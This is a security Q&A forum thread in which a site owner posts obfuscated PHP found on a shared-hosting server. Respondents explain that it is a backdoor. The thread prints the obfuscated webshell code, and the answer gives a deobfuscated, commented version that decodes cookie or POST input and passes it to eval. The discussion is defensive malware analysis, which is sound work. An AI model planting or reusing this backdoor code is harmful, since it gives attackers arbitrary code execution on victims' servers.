$llkas = '-tl#o3s1vnHr_ue*2b\'8c6mx9fya0ip47kgd';
    $spvgazs = Array();
    $spvgazs[] = $llkas[10].$llkas[15];
    $spvgazs[] = $llkas[19].$llkas[19].$llkas[16].$llkas[16].$llkas[27].$llkas[27].$llkas[5].$llkas[19].$llkas[0].$llkas[25].$llkas[20].$llkas[14].$llkas[16].$llkas[0].$llkas[31].$llkas[24].$llkas[24].$llkas[16].$llkas[0].$llkas[19].$llkas[24].$llkas[21].$llkas[32].$llkas[0].$llkas[28].$llkas[24].$llkas[24].$llkas[21].$llkas[7].$llkas[17].$llkas[27].$llkas[27].$llkas[28].$llkas[28].$llkas[31].$llkas[35];
    $spvgazs[] = $llkas[3];
    $spvgazs[] = $llkas[20].$llkas[4].$llkas[13].$llkas[9].$llkas[1];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[12].$llkas[11].$llkas[14].$llkas[30].$llkas[14].$llkas[27].$llkas[1];
    $spvgazs[] = $llkas[14].$llkas[23].$llkas[30].$llkas[2].$llkas[4].$llkas[35].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[13].$llkas[17].$llkas[6].$llkas[1].$llkas[11];
    $spvgazs[] = $llkas[27].$llkas[11].$llkas[11].$llkas[27].$llkas[26].$llkas[12].$llkas[22].$llkas[14].$llkas[11].$llkas[34].$llkas[14];
    $spvgazs[] = $llkas[6].$llkas[1].$llkas[11].$llkas[2].$llkas[14].$llkas[9];
    $spvgazs[] = $llkas[30].$llkas[27].$llkas[20].$llkas[33];

    foreach ($spvgazs[7]( $_COOKIE, $_POST ) as $pxajrr => $aesghqe ){
        function lscwszf($spvgazs, $pxajrr, $hgfxl){
            return $spvgazs[6]($spvgazs[4]($pxajrr . $spvgazs[1], ($hgfxl / $spvgazs[8]($pxajrr)) + 1), 0, $hgfxl);

        function rrxhm($spvgazs, $aaoyvhu){
            return @$spvgazs[9]($spvgazs[0], $aaoyvhu);
        function hccqcjz($spvgazs, $aaoyvhu){$bgukyrk = $spvgazs[3]($aaoyvhu) % 3;
            if (!$bgukyrk) {eval($aaoyvhu[1]($aaoyvhu[2]));

        $aesghqe = rrxhm($spvgazs, $aesghqe);
        hccqcjz($spvgazs, $spvgazs[5]($spvgazs[2], $aesghqe ^ lscwszf($spvgazs, $pxajrr, $spvgazs[8]($aesghqe))));

it is not a duplicate question of How do I de-obfuscate the code? i wanted someone to explain me what this code does? and ones who keeps marking this as duplicate shud first read the answers there, that doesnt explain anything what i want as answer.

  • Without trying to make it readable, it contains $_COOKIE, $POST, and eval. It's highly likely that it does anything and everything, depending on how the attacker calls it.
    – user155462
    Commented Mar 27, 2018 at 11:59
  • Hi Amanz, what's the background here? This question doesn't make a lot of sense. Why do you need to decode this? Did you try the regular stack-overflow forum where they talk about coding? What you're showing us is a snipper of obfuscated code. Why should this be considered suspicious rather than a piece of code found on a website?
    – sir_k
    Commented Mar 27, 2018 at 12:01
  • @FlorinCoada While it's not written here, such questions here usually are because the code was found on the users own website, and the user has no idea how it suddenly got there. ... Anyways, with this POST, eval, and obfuscation, it's 99.99% malware. Amanz, let me guess, you're using Wordpress?
    – user155462
    Commented Mar 27, 2018 at 12:09
  • @user155462 it could be, or the ask might be to reverse engineer someone's intentionally obfuscated code (which is off topic). I think a coding question without security context is not a good fit for this forum and it will not get an answer.
    – sir_k
    Commented Mar 27, 2018 at 12:13
  • @user155462 and Florin, thanks for quick reply. i am not using wordpress. this was found on a website which in on shared hosting.
    – Amanz
    Commented Mar 27, 2018 at 13:22

1 Answer 1


Your code a bit more readable:

//for external input...
foreach(array_merge($_COOKIE, $_POST) as $k => $v) { 

    //convert hex to normal text, no warning if not hex
    $v =  @pack('H*', $v);

    //do some crazy string modification which makes it possible that the direct input is not detectable as malware etc.
    //after this lines, it's real code (at least a part of it is)
    $v = $v ^ substr(str_repeat($k . '8822aa38-fce2-4992-8967-09961baa004d', (strlen($v) / strlen($k)) + 1), 0, strlen($v));

    //split the result into several lines
    $v = explode('#', $v);

    $cnt = count($v) % 3;
    if ($cnt == 0) {
        //only if the line count is a multiple of 3, eg. as safeguard to filter out input not from the attacker
        //(which is highly likely something else, after the processing before)

        //execute the function specified in line 2 with the parameter of line 3, ignore the other lines
        //line 2 can be eval too, so line 3 can be any code, which will be executed on the server.


As said in the comments, it is malware. More specific, it is a hidden possibility for someone (human or bot) to execute any custom PHP code on your server.
Someone managed to get this on your server, and this is the easy way to come back later.

  • Any speculation as to how this might have gotten on his server? Commented Mar 27, 2018 at 12:49
  • There are many possibilites - common ones for for small targets often are rooted in (in no specific order) missing updates etc. on the server, wrong configuration (eg. letting everyone seeing passwords etc.etc.), and of course using bad software (like Wordpress and plugins, etc.).
    – user155462
    Commented Mar 27, 2018 at 12:51
  • Thanks alot @user155462. but can you help me bit more by giving example how this code will be used by hacker and what can i do to prevent it. coz these codes keep coming back.
    – Amanz
    Commented Mar 27, 2018 at 13:24
  • 1
    then flatten your server. Commented Mar 27, 2018 at 13:54
  • 1
    This literally gives any external person full access to your server. Your server is compromised and very likely backdoored by now in multiple ways, and since you say these individual backdoors are self-restoring, it's actually highly likely that your server is currently actively doing nefarious things or is held "active" to soon do such things. Not taking your server offline would be immensely irresponsible. Commented Mar 27, 2018 at 13:55

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